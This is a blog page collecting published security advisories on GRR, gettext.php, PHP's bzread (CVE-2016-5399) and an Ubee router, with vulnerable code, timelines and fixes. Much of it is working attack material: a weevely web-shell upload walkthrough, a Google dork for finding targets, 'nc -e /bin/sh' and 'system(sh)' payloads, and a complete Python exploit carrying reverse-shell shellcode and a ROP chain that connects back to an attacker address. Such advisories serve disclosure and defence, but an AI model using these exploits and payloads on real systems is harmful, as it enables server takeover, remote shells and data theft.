Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863131724

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: GRR <= 3.0.0-RC1 (all versions) RCE with privilege escalation through file upload filter bypass (authenticated)

# Date: January 7th, 2016
# Exploit Author: kmkz (Bourbon Jean-marie) | @kmkz_security
# Vendor Homepage: http://grr.devome.com/fr/
# Software Link: http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1
# Version: 3.0.0-RC1
# Tested on: Windows 2003 R2, PHP 5.2.6
# Dork: inurl:/grr/ intext:réservation intitle:"GRR"

# CVSS score: 9.9
# OVE ID: OVE-20160705-0044
# CVE ID: Not Requested

# Credits: http://www.kaizendo.fr/php-how-to-manage-uploaded-image-in-secure-way/
# Fix:     https://github.com/JeromeDevome/GRR/blob/master/admin/admin_config1.php


I. APPLICATION
======================================================================================

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.


II. ADVISORY
======================================================================================
 
 
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
 
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
 
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
 
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
 
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
 
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
 
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
 
This vulnerability is a combination of 3 issues:
- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain
privilegied access.
 
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
 
III. VULNERABLE CODE
======================================================================================

snip..
// Enregistrement du logo
    $doc_file = isset($_FILES["doc_file"]) ? $_FILES["doc_file"] : NULL;
    if (preg_match("`\.([^.]+)$`", $doc_file['name'], $match))
    {
        $ext = strtolower($match[1]);
        if ($ext != 'jpg' && $ext != 'png' && $ext != 'gif') // Vulnerability !! Extension are the only "security" test on submitted files !!
        {
    $msg .= "L\'image n\'a pas pu être enregistrée : les seules extentions autorisées sont gif, png et jpg.\\n";
    $ok = 'no';
}
else
{
    $dest = '../images/';
    $ok1 = false;
    if ($f = @fopen("$dest/.test", "w"))
    {
        @fputs($f, '<'.'?php $ok1 = true; ?'.'>'); // Hem...
        @fclose($f);
        include("$dest/.test");
    }
    if (!$ok1)
    {
        $msg .= "L\'image n\'a pas pu être enregistrée : problème d\'écriture sur le répertoire \"images\". Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
        $ok = 'no';
    }
    else
    {
        $ok1 = @copy($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
            $ok1 = @move_uploaded_file($doc_file['tmp_name'], $dest.$doc_file['name']);
        if (!$ok1)
        {
            $msg .= "L\'image n\'a pas pu être enregistrée : problème de transfert. Le fichier n\'a pas pu être transféré sur le répertoire IMAGES. Veuillez signaler ce problème à l\'administrateur du serveur.\\n";
            $ok = 'no';
        }
        else
        {
            $tab = explode(".", $doc_file['name']);
            $ext = strtolower($tab[1]);
            if ($dest.$doc_file['name']!=$dest."logo.".$ext)
            {
                if (@file_exists($dest."logo.".$ext))
                    @unlink($dest."logo.".$ext);
                rename($dest.$doc_file['name'],$dest."logo.".$ext); // Vulnerability: if filename is "backdoor.php.jpg" we rename it as "logo.php" !!

            }
            @chmod($dest."logo.".$ext, 0666); // Vulnerability: why chmod 0666 on this f****** file!?!?

            $picture_room = "logo.".$ext;
            if (!Settings::set("logo", $picture_room))
            {
                $msg .= "Erreur lors de l'enregistrement du logo !\\n";
                $ok = 'no';
            }
        }
    }
}
snip...
 
IV. PROOF OF CONCEPT
======================================================================================
 
Generate backdoor:
 
    kmkz@Tapz:~#  weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
 
 
Login as admin and upload this new 'logo' > Administration > logo
 
Enjoy your shell!
 
    kmkz@Tapz:~# weevely http://server/images/logo.php pass123
    [+] weevely 3.2.0
 
    [+] Target:    server:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell
 
    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.
 
    weevely> whoami
    autorite nt\system
 
 
 
V. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
 
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to  full information system's compromise using pivots techniques and imagination!
 
 
VI. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
 
 
VII. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure


VII. LEGAL NOTICES
======================================================================================
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
[CVE-2016-6175] gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016
# Author: kmkz (Bourbon Jean-marie) <mail.bourbon@gmail.com> | @kmkz_security
# Project Homepage: https://launchpad.net/php-gettext/
# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz
# Version: 1.0.12 (latest release)
# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1
# OVE ID: OVE-20160705-0004
# CVE ID: CVE-2016-6175
# OSVDB ID: n/a

# Thanks:
Lars Michelsen from NagVis project where this bug was discovered and
Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:
https://bugs.launchpad.net/php-gettext/+bug/1606184
https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53

# Fixes:
https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php
https://bugs.launchpad.net/php-gettext/+bug/1606184

gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue


I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.
This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.


II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the nagvis host system and/or gain application's privileges throught a specially crafted .mo language file.
The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.


III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";
$MAGIC2 = "\xde\x12\x04\x95";

If it seems correct then we'll continue.
We then extract forms from .mo file's header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:

plural-forms: ([^\n]*)\n

(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.


Here is the impacted code snippet :

snip...
if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))
$expr = $regs[1];
else

$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this->sanitize_plural_expression($expr); // The vulnerable function!!
}
snip...


The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.



Comments are :

/** Sanitize plural form expression for use in PHP eval call.
@access private
@return string sanitized plural form expression**/

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...
function sanitize_plural_expression($expr) {

// Get rid of disallowed characters.
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »
// Add parenthesis for tertiary '?' operator.
   
$expr .= ';';
$res = '';
$p = 0;

for ($i = 0; $i < strlen($expr); $i++) { // indentation ?
$ch = $expr[$i];
   
switch ($ch) {

case '?':
$res .= ' ? (';
$p++;

break;

case ':':
$res .= ') : (';

break;

case ';':
$res .= str_repeat( ')', $p) . ';';
$p = 0;

break;

default:

$res .= $ch;

}
}
return $res;
}
snip...


Code snippet from the vulnerable function that execute eval() on the « sanitized string :


snip...
$string = $this->get_plural_forms();
$string = str_replace('nplurals',"\$total",$string);
$string = str_replace("n",$n,$string);
$string = str_replace('plural',"\$plural",$string);

$total = 0;
$plural = 0;

eval("$string"); // eval called .... launch my shell baby !
snip...


However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.
A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.
He now just have to wait or to execute the payload himself to obtain his shell, that's why this vulnerability is not so harmless !

Note :
Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :

$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say:

« there is more than one way to do it »


IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version
(without a crafted .mo file and joined with this advisory).


<?php
//$expr= ("system(sh)");  // payload1
//$expr= (`nc -l -p 1337 -e /bin/sh`); // payload that is not eval-dependant
$expr=("phpinfo()"); // payload2 (PoC)

//$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);//  vuln
$expr = preg_replace('@[^a-zA-Z0-9_:;\(\)\?\|\&=!<>+*/\%-]@', '', $expr);/

$expr .= ';';

 // Add parenthesis for tertiary '?' operator.
$expr .= ';';
$res = '';
$p = 0;
for ($i = 0; $i < strlen($expr); $i++) {
    $ch = $expr[$i];
    switch ($ch) {
        case '?':
            $res .= ' ? (';
            $p++;
            break;
        case ':':
            $res .= ') : (';
            break;
        case ';':
            $res .= str_repeat( ')', $p) . ';';
            $p = 0;
            break;
    default:
        $res .= $ch;
    }
}
   
// Vulnerable function :
$n= (1);
$total=("1000");

 if (!is_int($n)) {
      throw new InvalidArgumentException(
        "Select_string only accepts integers: " . $n); // test sur la version 2 de gettext.php
}

$string = str_replace('nplurals',"\$total",$res);
$string = str_replace("n",$res,$res);
$string = str_replace('plural',"\$plural",$res);
eval("$string");
?>


V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.
Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.
The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.



VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.
It could affect the a lot of web application and/or many website as long as it will not be updated.


VII. TIMELINE

June 21th, 2016: Vulnerability identification
June 21th, 2016: Nagvis project developers and gettext.php developers notification
June 22th, 2016: Nagvis project developers response
June 25th, 2016: Nagvis Patch release (even if not really affected)
June 27th, 2016: Gettext.php team response (from Danilo ?egan), exchange started
July 5th, 2016: CVE request ID (mitre) and OVE ID request
July 7th, 2016: CVE-2016-6175 attributed by MITRE
July 25th, 2016: Public disclosure


VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.
            
'''
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:

php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382     ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383     ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385     RETURN_NEW_STR(data);
| 386 }
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211     php_bz2iop_write, php_bz2iop_read,
| 212     php_bz2iop_close, php_bz2iop_flush,
| 213     "BZip2",
| 214     NULL, /* seek */
| 215     NULL, /* cast */
| 216     NULL, /* stat */
| 217     NULL  /* set_option */
| 218 };
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140     struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141     size_t ret = 0;
| 142
| 143     do {
| 144         int just_read;
| ...
| 148         just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150         if (just_read < 1) {
| 151             stream->eof = 0 == just_read;
| 152             break;
| 153         }
| 154
| 155         ret += just_read;
| 156     } while (ret < count);
| 157
| 158     return ret;
| 159 }
`----

The erroneous return values for Bzip2 are as follows:

bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR    (-1)
| 039 #define BZ_PARAM_ERROR       (-2)
| 040 #define BZ_MEM_ERROR         (-3)
| 041 #define BZ_DATA_ERROR        (-4)
| 042 #define BZ_DATA_ERROR_MAGIC  (-5)
| 043 #define BZ_IO_ERROR          (-6)
| 044 #define BZ_UNEXPECTED_EOF    (-7)
| 045 #define BZ_OUTBUFF_FULL      (-8)
| 046 #define BZ_CONFIG_ERROR      (-9)
`----

Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).

According to the manual [1], bzread() returns FALSE on error; however
that does not seem to ever happen.

Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:

,----
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
`----


Exploitation
============

One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:

bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108    UChar      uc;
| 109    Int32      retVal;
| ...
| 113    /* stuff that needs to be saved/restored */
| 114    Int32  i;
| 115    Int32  j;
| ...
| 118    Int32  nGroups;
| 119    Int32  nSelectors;
| ...
| 167    /*restore from the save area*/
| 168    i           = s->save_i;
| 169    j           = s->save_j;
| ...
| 172    nGroups     = s->save_nGroups;
| 173    nSelectors  = s->save_nSelectors;
| ...
| 195    switch (s->state) {
| ...
| 286       /*--- Now the selectors ---*/
| 287       GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288       if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289       GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290       if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291       for (i = 0; i < nSelectors; i++) {
| 292          j = 0;
| 293          while (True) {
| 294             GET_BIT(BZ_X_SELECTOR_3, uc);
| 295             if (uc == 0) break;
| 296             j++;
| 297             if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298          }
| 299          s->selectorMtf[i] = j;
| 300       }
| 301
| 302       /*--- Undo the MTF values for the selectors. ---*/
| 303       {
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
| 314       }
| 315
| ...
| 613    save_state_and_return:
| 614
| 615    s->save_i           = i;
| 616    s->save_j           = j;
| ...
| 619    s->save_nGroups     = nGroups;
| 620    s->save_nSelectors  = nSelectors;
| ...
| 640    return retVal;
| 641 }
`----

bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)                          \
| 071    GET_BITS(lll,uuu,1)
`----

bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)                     \
| 044    case lll: s->state = lll;                      \
| 045    while (True) {                                 \
| ...
| 065    }
`----

If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR.  If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.

In pseudocode it could be read as something like:

,----
| i = s->save_i;
| j = s->save_j;
| 
| switch (s->state) {
| case BZ_X_SELECTOR_2:
|     s->state = BZ_X_SELECTOR_2;
| 
|     nSelectors = get_15_bits...
| 
|     for (i = 0; i < nSelectors; i++) {
|         j = 0;
|         while (True) {
|             goto iter;
| case BZ_X_SELECTOR_3:
| iter:
|     s->state = BZ_X_SELECTOR_3;
| 
|     uc = get_1_bit...
| 
|     if (uc == 0) goto done;
|     j++;
|     if (j >= nGroups) {
|         retVal = BZ_DATA_ERROR;
|         goto save_state_and_return;
|     }
|     goto iter;
| done:
|     s->selectorMtf[i] = j;
`----

An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
|  `´     j++;
| j++;    goto save_state_and_return;
| goto iter;
`----

Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
could occur if BZ2_decompress() is invoked in spite of a previous error.

bzip2-1.0.6/decompress.c
,----
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
`----

bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----


PoC
===

Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo [2]:

,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
| 
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
| 
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
| 
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
| 
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
| 
| cat upload.php
| <?php
| $fp = bzopen($_FILES["file"]["tmp_name"], "r");
| if ($fp === FALSE) {
|     exit("ERROR: bzopen()");
| }
| 
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
| bzclose($fp);
| ?>
`----


Solution
========

This issue has been assigned CVE-2016-5399 and can be mitigated by
calling bzerror() on the handle between invocations of bzip2.

Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
whereby the stream is marked as EOF when an error is encountered;
allowing this flaw to be avoided by using feof().  However, the PHP
project considers this to be an issue in the underlying bzip2
library[3].



Footnotes
_________

[1] [https://secure.php.net/manual/en/function.bzread.php]

[2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]

[3] [https://bugs.php.net/bug.php?id=72613]


-- Hans Jerry Illikainen
'''
#!/usr/bin/env python
#
# PoC for CVE-2016-5399 targeting FreeBSD 10.3 x86-64 running php-fpm
# behind nginx.
#
# ,----
# | $ nc -v -l 1.2.3.4 5555 &
# | Listening on [1.2.3.4] (family 0, port 5555)
# |
# | $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
# | [*] sending archive to http://target/upload.php (0)
# |
# | Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
# | $ fg
# | id
# | uid=80(www) gid=80(www) groups=80(www)
# |
# | uname -imrsU
# | FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
# |
# | /usr/sbin/pkg query -g "=> %n-%v" php*
# | => php70-7.0.8
# | => php70-bz2-7.0.8
# |
# | cat upload.php
# | <?php
# | $fp = bzopen($_FILES["file"]["tmp_name"], "r");
# | if ($fp === FALSE) {
# |     exit("ERROR: bzopen()");
# | }
# |
# | $data = "";
# | while (!feof($fp)) {
# |     $res = bzread($fp);
# |     if ($res === FALSE) {
# |         exit("ERROR: bzread()");
# |     }
# |     $data .= $res;
# | }
# | bzclose($fp);
# | ?>
# `----
#
# - Hans Jerry Illikainen <hji@dyntopia.com>
#
import argparse
import socket
from struct import pack

import requests
import bitstring

# reverse shell from metasploit
shellcode = [
    "\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
    "\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0\x62\x48\x31\xf6"
    "\x56\x48\xbe\x00\x02%(port)s%(ip)s\x56\x48\x89\xe6\x6a\x10"
    "\x5a\x0f\x05\x4c\x89\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58"
    "\x0f\x05\x75\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f"
    "\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52"
    "\x57\x48\x89\xe6\x0f\x05"
]

# we're bound by the MTF and can only reuse values on the stack
# between pos[0]..pos[255]
selectors = [
    # retaddr:
    #   0x8009c9462: lea    rsp,[rbp-0x20]
    #   0x8009c9466: pop    rbx
    #   0x8009c9467: pop    r12
    #   0x8009c9469: pop    r14
    #   0x8009c946b: pop    r15
    #   0x8009c946d: pop    rbp
    #   0x8009c946e: ret
    #
    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    9, 10, 11, 18, 1, 88, 31, 127,

    # rbp:
    #   0x802974300 (close to the end of the stream)
    16, 17, 18, 29, 22, 152, 159, 25,

    # push it back
    17, 18, 19, 20, 21, 22, 23, 24,
    25, 26, 27, 28, 29, 30, 31, 32,
    33, 34, 35, 36, 37, 38, 39, 40,
    41, 42, 43, 44, 45, 46, 47, 48,
    49, 50, 51, 52, 53, 54, 55, 56,
    57, 58, 59, 60, 61, 62
]

payload = [
    # addr
    #
    # 0x41c4c8: pop    rdi
    # 0x41c4c9: ret
    pack("<Q", 0x41c4c8),
    pack("<Q", 0x0802973000),

    # len
    #
    # 0x421508: pop    rsi
    # 0x421509: ret    0x0
    pack("<Q", 0x421508),
    pack("<Q", 0x5555),

    # prot
    #
    # 0x519b3a: pop    rdx
    # 0x519b3b: ret
    pack("<Q", 0x519b3a),
    pack("<Q", 0x7),

    # mprotect
    #
    # 0x5adf50: pop    rax
    # 0x5adf51: ret
    pack("<Q", 0x5adf50),
    pack("<Q", 74),

    # from /libexec/ld-elf.so.1 (bbdffba2dc3bb0b325c6eee9d6e5bd01141d97f3)
    #
    # 0x8009d5168: syscall
    # 0x8009d516a: jb 0x8009d9d00
    # 0x8009d5170: ret
    pack("<Q", 0x08009d5168),
    pack("<Q", 0x08029731b7),

    "%(shellcode)s",

    "%(pad)s",

    # 0x45de9c: pop rsp
    # 0x45de9d: ret
    pack("<Q", 0x45de9c),
    pack("<Q", 0x0802973167),
]


def get_payload(ip, port):
    sc = "".join(shellcode) % {
        "ip": socket.inet_aton(ip),
        "port": pack("!H", port)
    }
    return "".join(payload) % {
        "shellcode": sc,
        "pad": "\x90" * (4433 - len(sc)),
    }


def get_header():
    b = bitstring.BitArray()
    b.append("0x425a")             # magic
    b.append("0x68")               # huffman
    b.append("0x31")               # block size (0x31 <= s <= 0x39)
    b.append("0x314159265359")     # compressed magic
    b.append("0x11223344")         # crc
    b.append("0b0")                # not randomized
    b.append("0x000000")           # pointer into BWT
    b.append("0b0000000000000001") # mapping table 1
    b.append("0b0000000000000001") # mapping table 2
    b.append("0b110")              # number of Huffman groups (1 <= n <= 6)
    b.append(format(len(selectors), "#017b")) # number of selectors

    # selector list
    for s in selectors:
        b.append("0b" + "1" * s + "0")

    # BZ_X_CODING_1 (1 <= n <= 20).  we want a fail to make
    # BZ2_decompress() bail as early as possible into the
    # first gadget since the stack will be kind of messed up
    b.append("0b00000")

    return b.tobytes()


def send_bzip2(url, bzip2):
    try:
        req = requests.post(url, files={"file": bzip2}, timeout=5)
    except requests.exceptions.Timeout:
        return 0
    return req.status_code


def get_args():
    p = argparse.ArgumentParser()
    p.add_argument("--ip", required=True, help="connect-back ip")
    p.add_argument("--port", required=True, type=int, help="connect-back port")
    p.add_argument("--attempts", type=int, default=10)
    p.add_argument("url")
    return p.parse_args()


def main():
    args = get_args()
    bzip2 = get_header() + get_payload(args.ip, args.port)

    for i in range(args.attempts):
        print("[*] sending archive to %s (%d)" % (args.url, i))
        status = send_bzip2(args.url, bzip2)
        if status == 0:
            break
        elif status == 404:
            exit("[-] 404: %s" % args.url)

if __name__ == "__main__":
    main()
            
'''
Ubee EVW3226 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Ubee EVW3226, 1.0.20
- Product page: http://www.ubeeinteractive.com/products/cable/evw3226

Vulnerabilities
---------------
Insecure session management

The web interface does not use cookies at all. If admin login is
successful, the IP address of the admin user is stored and everybody can
access the management interface with the same IP.

Local file inclusion

Setup.cgi can read any file with .htm extension using directory
traversal in the gonext parameter. Although the file must have htm
extension, the local file inclusion can be used to map directories,
because the response is different depending on whether directory exists
or not.

POC:

http://<device_ip>/cgi-bin/setup.cgi?gonext=../www/main2

Backup file is not encrypted

Although the web interface requires a password for encrypting the backup
file, the encryption is not performed. In order to backup file password,
the plain password is stored in the backup file, which is a standard tgz
(gzipped tar) file with a simple header.

Backup file disclosure

When a user requests a backup file, the file is copied into www root in
order to make download possible. However, the backup file is not removed
from the www root after download. Since there is not any session check
required to download the backup file, an attacker is able to download it
without authentication from LAN until the next reboot.
Since the backup file is not encrypted and contains the plain admin
password, the router can be compromised from LAN.

POC:

http://<device_ip>/Configuration_file.cfg

Authentication bypass (backdoor)

The web interface bypasses authentication if the HTML request contains
the factoryBypass parameter. In this case a valid session is created and
the attacker can gain full control over the device.

POC:

http://<device_ip>/cgi-bin/setup.cgi?factoryBypass=1

Arbitrary code execution

The configuration file restore function receives a compressed tar file,
which is extracted to the /tmp folder. Tar files may contain symbolic
links, which can link out from the extraction folder. By creating a
configuration file with a symbolic link and a folder which uses this
link, the attacker can write out from the backup folder and can
overwrite any file in the writable file-system.
Since www is copied to the writable file system at boot time (under
/tmp), the attacker can insert a new cgi script that executes arbitrary
code with root privileges.

Default SSID and passphrase can be calculated

The default SSID and passphrase are derived only from the MAC address.
Since the MAC address of the device is broadcasted via WiFi, the default
password can be calculated easily.
Combined with code execution and factory bypass, even a botnet of Ubee
routers can be deployed easily.

Buffer overflow in configuration restore

During the configuration restore process, the backup file password is
read from the pass.txt file. If the password is large enough (larger
than 65536), a stack based buffer overflow is caused, because the file
content is loaded with fscanf(“%s”) to a stack based local variable. The
stack based buffer overflow can be used to execute arbitrary code with
root privileges.

Buffer overflow in configuration file request

The web interface identifies the configuration file download request by
checking that the URL contains the Configuration_file.cfg string. If
this string is found, the whole URL is copied into a stack based buffer,
which can cause a buffer overflow. This stack based buffer overflow can
be used to execute arbitrary code with root privileges without
authentication.

POC:

http://192.168.0.1/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaConfiguration_file.cfg

Buffer overflow in next file name

The gonext variable in the POST requests specifies the HTML file, which
the cgi script should be loaded. If the gonext variable is large enough
(larger than 6512 bytes), a stack based buffer overflow is caused, which
can be used to execute arbitrary code with root privileges without
authentication.

Communication on the UPC Wi-Free can be sniffed within the device

The UPC Wi-Free communication is not separated correctly inside the
device, because the whole communication can be sniffed after gaining
root access to the device.

Timeline
--------
- 2015.06.24: Presenting the Ubee router problems to the CTO of UPC Magyarorszag
- 2015.07.16: UPC contacted Ubee and required some more proof about some specific problems
- 2015.07.16: Proofs, that the default passphrase calculation of the Ubee router was broken, were sent to UPC
- 2015.07.20: UPC requested the POC code
- 2015.07.21: POC code was sent to UPC
- 2015.07.30: We sent some new issues affecting the Ubee router and other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
